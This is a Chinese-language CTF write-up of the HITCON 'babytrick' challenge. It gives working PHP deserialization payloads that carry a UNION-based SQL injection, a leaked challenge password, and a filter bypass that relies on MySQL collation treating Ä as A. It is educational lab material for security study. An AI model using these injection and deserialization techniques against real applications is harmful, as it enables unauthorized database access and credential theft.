hitcon-babytrick题目分析与解答

最近一直在研究和总结php中的序列化问题,发现php序列化的问题由来已久,除了在真实的php开源代码中会出现之外,如典型的Joomla远程代码代码执行,这种问题在ctf比赛中的也是备受青睐。本篇文章要讲的就是在hitcon上面的一道题目,其中也有对php 序列化的考察。

题目下载地址:github地址

通过show()方法找到

首先是需要对HITCON类进行序列化

1
2
3
4
5
6
7
8
class HITCON{
private $method="show";
private $args=array("' union select password,1,1 from users where username = 'orange'#");
private $conn=1;
}
$hit = new HITCON();
$result = serialize($hit);
var_dump($result);

首先分析,提取到orange的密码。
payload为:

1
O:6:"HITCON":5:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:65:"' union select password,1,1 from users where username = 'orange'#";}s:12:"%00HITCON%00conn";i:0;}

其中的%00并不是表示三个字符,表示得chr(0)一个字符,所以需要进行转换。转换的结果如图1。
转换的方式也非常的简单,直接将其中的%00使用hackbar进行urldecode即可。

最后进行提交的数据如下:

最终我们得到orange的密码是babytrick1234

login()方法

在执行了show()方法之后,按照同样的方法来执行login()方法。
payload为:

1
O:6:"HITCON":5:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:6:"orange";s:8:"password";s:13:"babytrick1234";}s:12:"%00HITCON%00conn";i:1;}

转换之后的结果是:

转换之后进行URL编码然后提交,
但是结果显示的是:

仔细看代码,发现在login()方法中还存在如下的代码

1
2
3
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

之前猪猪侠在微博上面说过的话,就可以绕过这个检测。原话如下:

MYSQL 中 utf8_unicode_ci和utf8_general_ci两种编码格式,utf8_general_ci不区分大小写,Ä = A, Ö = O, Ü = U这三种条件都成立,对于utf8_general_ci下面的等式成立:ß=s,但是,对于utf8_unicode_ci下面等式才成立:ß = ss

所以在将mysql的编码设置为utf-8的时候,Ä = A, Ö = O, Ü = U,,左右两边的字符是可以相互替换的。这样就可以将0替换为Ö这样就可以绕过上面代码的检测,同时还可以能够正确地执行SQL语句。
我们通过如下的代码得到最终的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class HITCON{
private $method;
private $args;
private $conn;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args['username'] = 'ORÄNGE';
$args['password'] = 'babytrick1234';
$data = new HITCON('login',$args);
print urlencode(serialize($data));
?>

所以最终的payload为:

1
O%3A6%3A%22HITCON%22%3A3%3A%7Bs%3A14%3A%22%00HITCON%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00HITCON%00args%22%3Ba%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22OR%C3%84NGE%22%3Bs%3A8%3A%22password%22%3Bs%3A13%3A%22babytrick1234%22%3B%7Ds%3A12%3A%22%00HITCON%00conn%22%3BN%3B%7D

然后进行提交,最后就可以得到flag了。
最终的结果为:

MISC

虽然这道题目是做出来了,但是其中还是存在一些问题没有搞清楚。

  1. 执行login()方法的时候,同样需要绕过__wakeup()方法,那么就需要利用__wakeup()函数的漏洞了,但是在最后执行的payload中并没有修改对象属性的个数,我看到网上有人猜测可能是Ä这个字符影响了__wakeup()函数的执行。
  2. O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}这个payload是0xecute的答案。但是这个答案,我也没有看懂。不知道最后O:9:"Exception":2:{s:7:"*file";R:4;};}}有什么作用,我将上面的答案进行反序列化,发现反序列化失败。我将O:9:"Exception":2:{s:7:"*file";R:4;};}}修改为其他的值之后,发现无法得到flag。所以这一点就很奇怪了。

总结

在做这道题目的过程中,遇到了一些奇奇怪怪的问题,也请教了很多人,自己也进行了很多的尝试,但是毕竟情况太过于少见,大神们也无法当面解决,所以问题还是没有得到解决。
看来有些问题也只有靠自己才能够解决了。